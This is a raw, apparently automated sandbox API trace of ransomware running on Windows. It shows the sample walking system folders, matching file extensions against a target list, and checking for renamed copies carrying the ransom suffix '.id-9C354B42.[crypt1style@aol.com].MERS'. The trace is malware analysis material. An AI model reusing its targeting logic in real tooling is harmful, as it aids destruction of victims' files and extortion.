lstrlenW (lpString=".xlsx") returned 5 [0258.155] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0258.155] lstrlenW (lpString=".ppt") returned 4 [0258.155] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.155] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0258.156] lstrlenW (lpString=".zip") returned 4 [0258.156] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.156] lstrlenW (lpString=".rar") returned 4 [0258.156] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.156] lstrlenW (lpString=".bz2") returned 4 [0258.156] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.156] lstrlenW (lpString=".7z") returned 3 [0258.156] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.156] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0258.156] lstrlenW (lpString=".dbf") returned 4 [0258.156] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.156] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0258.156] lstrlenW (lpString=".1cd") returned 4 [0258.156] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.156] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0258.156] lstrlenW (lpString=".jpg") returned 4 [0258.156] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.156] lstrcmpiW (lpString1=".mui", lpString2=".MERS") returned 1 [0258.156] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0258.156] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0258.156] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x322ff1c | out: lpFileSize=0x322ff1c*=75344) returned 1 [0258.156] CloseHandle (hObject=0x2f0) returned 1 [0258.156] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0258.156] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.156] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.157] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0258.157] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0258.157] lstrlenW (lpString=".doc") returned 4 [0258.157] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.157] lstrlenW (lpString=".docx") returned 5 [0258.157] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0258.157] lstrlenW (lpString=".pdf") returned 4 [0258.157] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.157] lstrlenW (lpString=".xls") returned 4 [0258.157] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.157] lstrlenW (lpString=".xlsx") returned 5 [0258.157] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0258.157] lstrlenW (lpString=".ppt") returned 4 [0258.157] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.157] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0258.157] lstrlenW (lpString=".zip") returned 4 [0258.157] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.157] lstrlenW (lpString=".rar") returned 4 [0258.157] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.157] lstrlenW (lpString=".bz2") returned 4 [0258.157] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.157] lstrlenW (lpString=".7z") returned 3 [0258.157] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 Thread: id = 98 os_tid = 0x6f4 [0257.688] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10000) returned 0x3ae0080 [0257.688] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10000) returned 0x3af0088 [0257.688] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x595388 [0257.688] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x5c1ff8 [0257.688] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5953a0 [0257.688] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100000) returned 0x3fb0020 [0257.688] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5953b8 [0257.688] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5953b8, Size=0x20) returned 0x6293d8 [0257.688] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5953b8 [0257.688] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5953b8, Size=0x20) returned 0x6293b0 [0257.688] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75030000 [0257.689] GetProcAddress (hModule=0x75030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7505d650 [0257.689] Wow64DisableWow64FsRedirection (in: OldValue=0x336ff58 | out: OldValue=0x336ff58*=0x0) returned 1 [0257.689] lstrlenW (lpString="kernel32.dll") returned 12 [0257.689] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6293d8 | out: hHeap=0x540000) returned 1 [0257.689] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0257.689] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6293b0 | out: hHeap=0x540000) returned 1 [0257.689] Sleep (dwMilliseconds=0x64) [0257.874] Sleep (dwMilliseconds=0x64) [0258.058] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0258.058] lstrlenW (lpString="Alphabet.xml") returned 12 [0258.058] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0258.136] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=791686) returned 1 [0258.136] CloseHandle (hObject=0x2f0) returned 1 [0258.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0258.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.136] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0258.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0258.136] lstrlenW (lpString=".doc") returned 4 [0258.136] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0258.136] lstrlenW (lpString=".docx") returned 5 [0258.136] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0258.136] lstrlenW (lpString=".pdf") returned 4 [0258.136] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0258.137] lstrlenW (lpString=".xls") returned 4 [0258.137] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0258.137] lstrlenW (lpString=".xlsx") returned 5 [0258.137] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0258.137] lstrlenW (lpString=".ppt") returned 4 [0258.137] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0258.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0258.137] lstrlenW (lpString=".zip") returned 4 [0258.137] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0258.137] lstrlenW (lpString=".rar") returned 4 [0258.137] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0258.137] lstrlenW (lpString=".bz2") returned 4 [0258.137] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0258.137] lstrlenW (lpString=".7z") returned 3 [0258.137] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0258.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0258.137] lstrlenW (lpString=".dbf") returned 4 [0258.137] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0258.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0258.137] lstrlenW (lpString=".1cd") returned 4 [0258.137] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0258.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0258.137] lstrlenW (lpString=".jpg") returned 4 [0258.137] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0258.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0258.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0258.138] lstrlenW (lpString=".doc") returned 4 [0258.138] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0258.138] lstrlenW (lpString=".docx") returned 5 [0258.138] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0258.138] lstrlenW (lpString=".pdf") returned 4 [0258.138] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0258.138] lstrlenW (lpString=".xls") returned 4 [0258.138] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0258.138] lstrlenW (lpString=".xlsx") returned 5 [0258.138] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0258.138] lstrlenW (lpString=".ppt") returned 4 [0258.138] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0258.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0258.138] lstrlenW (lpString=".zip") returned 4 [0258.138] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0258.138] lstrlenW (lpString=".rar") returned 4 [0258.138] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0258.138] lstrlenW (lpString=".bz2") returned 4 [0258.138] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0258.138] lstrlenW (lpString=".7z") returned 3 [0258.138] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0258.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0258.138] lstrlenW (lpString=".dbf") returned 4 [0258.138] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0258.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0258.138] lstrlenW (lpString=".1cd") returned 4 [0258.138] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0258.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0258.138] lstrlenW (lpString=".jpg") returned 4 [0258.138] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0258.138] lstrcmpiW (lpString1=".avi", lpString2=".MERS") returned -1 [0258.139] lstrlenW (lpString="boxed-delete.avi") returned 16 [0258.139] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0258.771] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=31744) returned 1 [0258.771] CloseHandle (hObject=0x2d4) returned 1 [0258.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0258.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.771] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0258.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0258.771] lstrlenW (lpString=".doc") returned 4 [0258.771] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0258.771] lstrlenW (lpString=".docx") returned 5 [0258.771] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0258.771] lstrlenW (lpString=".pdf") returned 4 [0258.771] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0258.771] lstrlenW (lpString=".xls") returned 4 [0258.771] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0258.771] lstrlenW (lpString=".xlsx") returned 5 [0258.771] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0258.771] lstrlenW (lpString=".ppt") returned 4 [0258.771] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0258.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0258.772] lstrlenW (lpString=".zip") returned 4 [0258.772] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0258.772] lstrlenW (lpString=".rar") returned 4 [0258.772] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0258.772] lstrlenW (lpString=".bz2") returned 4 [0258.772] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0258.772] lstrlenW (lpString=".7z") returned 3 [0258.772] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0258.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0258.772] lstrlenW (lpString=".dbf") returned 4 [0258.772] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0258.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0258.772] lstrlenW (lpString=".1cd") returned 4 [0258.772] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0258.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0258.772] lstrlenW (lpString=".jpg") returned 4 [0258.772] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0258.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0258.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0258.772] lstrlenW (lpString=".doc") returned 4 [0258.772] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0258.772] lstrlenW (lpString=".docx") returned 5 [0258.772] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0258.772] lstrlenW (lpString=".pdf") returned 4 [0258.772] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0258.772] lstrlenW (lpString=".xls") returned 4 [0258.772] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0258.772] lstrlenW (lpString=".xlsx") returned 5 [0258.772] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0258.772] lstrlenW (lpString=".ppt") returned 4 [0258.772] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0258.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0258.773] lstrlenW (lpString=".zip") returned 4 [0258.773] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0258.773] lstrlenW (lpString=".rar") returned 4 [0258.773] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0258.773] lstrlenW (lpString=".bz2") returned 4 [0258.773] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0258.773] lstrlenW (lpString=".7z") returned 3 [0258.773] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0258.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0258.773] lstrlenW (lpString=".dbf") returned 4 [0258.773] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0258.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0258.773] lstrlenW (lpString=".1cd") returned 4 [0258.773] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0258.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0258.773] lstrlenW (lpString=".jpg") returned 4 [0258.773] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0258.773] lstrcmpiW (lpString1=".emf", lpString2=".MERS") returned -1 [0258.773] lstrlenW (lpString="Genko_2.emf") returned 11 [0258.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0258.893] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=10340) returned 1 [0258.893] CloseHandle (hObject=0x338) returned 1 [0258.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf")) returned 0x20 [0258.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.893] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0258.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0258.893] lstrlenW (lpString=".doc") returned 4 [0258.893] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0258.893] lstrlenW (lpString=".docx") returned 5 [0258.893] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0258.893] lstrlenW (lpString=".pdf") returned 4 [0258.893] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0258.893] lstrlenW (lpString=".xls") returned 4 [0258.893] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0258.893] lstrlenW (lpString=".xlsx") returned 5 [0258.893] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0258.893] lstrlenW (lpString=".ppt") returned 4 [0258.893] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0258.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0258.893] lstrlenW (lpString=".zip") returned 4 [0258.893] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0258.894] lstrlenW (lpString=".rar") returned 4 [0258.894] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0258.894] lstrlenW (lpString=".bz2") returned 4 [0258.894] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0258.894] lstrlenW (lpString=".7z") returned 3 [0258.894] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0258.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0258.894] lstrlenW (lpString=".dbf") returned 4 [0258.894] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0258.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0258.894] lstrlenW (lpString=".1cd") returned 4 [0258.894] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0258.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0258.894] lstrlenW (lpString=".jpg") returned 4 [0258.894] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0258.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0258.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0258.894] lstrlenW (lpString=".doc") returned 4 [0258.894] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0258.894] lstrlenW (lpString=".docx") returned 5 [0258.894] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0258.894] lstrlenW (lpString=".pdf") returned 4 [0258.894] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0258.894] lstrlenW (lpString=".xls") returned 4 [0258.894] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0258.894] lstrlenW (lpString=".xlsx") returned 5 [0258.894] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0258.894] lstrlenW (lpString=".ppt") returned 4 [0258.894] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0258.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0258.895] lstrlenW (lpString=".zip") returned 4 [0258.895] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0258.895] lstrlenW (lpString=".rar") returned 4 [0258.895] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0258.895] lstrlenW (lpString=".bz2") returned 4 [0258.895] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0258.895] lstrlenW (lpString=".7z") returned 3 [0258.895] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0258.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0258.895] lstrlenW (lpString=".dbf") returned 4 [0258.895] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0258.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0258.895] lstrlenW (lpString=".1cd") returned 4 [0258.895] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0258.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0258.895] lstrlenW (lpString=".jpg") returned 4 [0258.895] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0258.895] Sleep (dwMilliseconds=0x64) [0259.133] lstrcmpiW (lpString1=".wmv", lpString2=".MERS") returned 1 [0259.133] lstrlenW (lpString="BabyBoyMainBackground_PAL.wmv") returned 29 [0259.133] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0259.147] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=325322) returned 1 [0259.147] CloseHandle (hObject=0x38c) returned 1 [0259.147] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv")) returned 0x20 [0259.148] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0259.150] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.150] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0259.150] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0259.150] lstrlenW (lpString=".doc") returned 4 [0259.150] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0259.150] lstrlenW (lpString=".docx") returned 5 [0259.150] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0259.151] lstrlenW (lpString=".pdf") returned 4 [0259.151] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0259.151] lstrlenW (lpString=".xls") returned 4 [0259.151] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0259.151] lstrlenW (lpString=".xlsx") returned 5 [0259.151] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0259.151] lstrlenW (lpString=".ppt") returned 4 [0259.151] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0259.151] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0259.151] lstrlenW (lpString=".zip") returned 4 [0259.151] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0259.151] lstrlenW (lpString=".rar") returned 4 [0259.151] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0259.151] lstrlenW (lpString=".bz2") 